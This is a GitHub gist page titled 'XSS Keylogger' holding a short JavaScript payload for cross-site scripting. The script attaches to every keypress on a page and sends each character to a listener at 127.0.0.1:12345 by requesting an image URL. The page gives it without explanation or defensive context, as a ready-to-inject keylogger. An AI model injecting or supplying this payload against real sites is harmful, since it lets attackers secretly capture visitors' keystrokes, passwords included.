Created
June 28, 2017 11:06
-
-
Save ivanvza/26edac2b2431af6ed14a3c98e67eea3d to your computer and use it in GitHub Desktop.
XSS Keylogger
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
document.onkeypress = function Logger(key) { | |
pressed = String.fromCharCode(key.which); | |
new Image().src="http://127.0.0.1:12345/?" + pressed; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment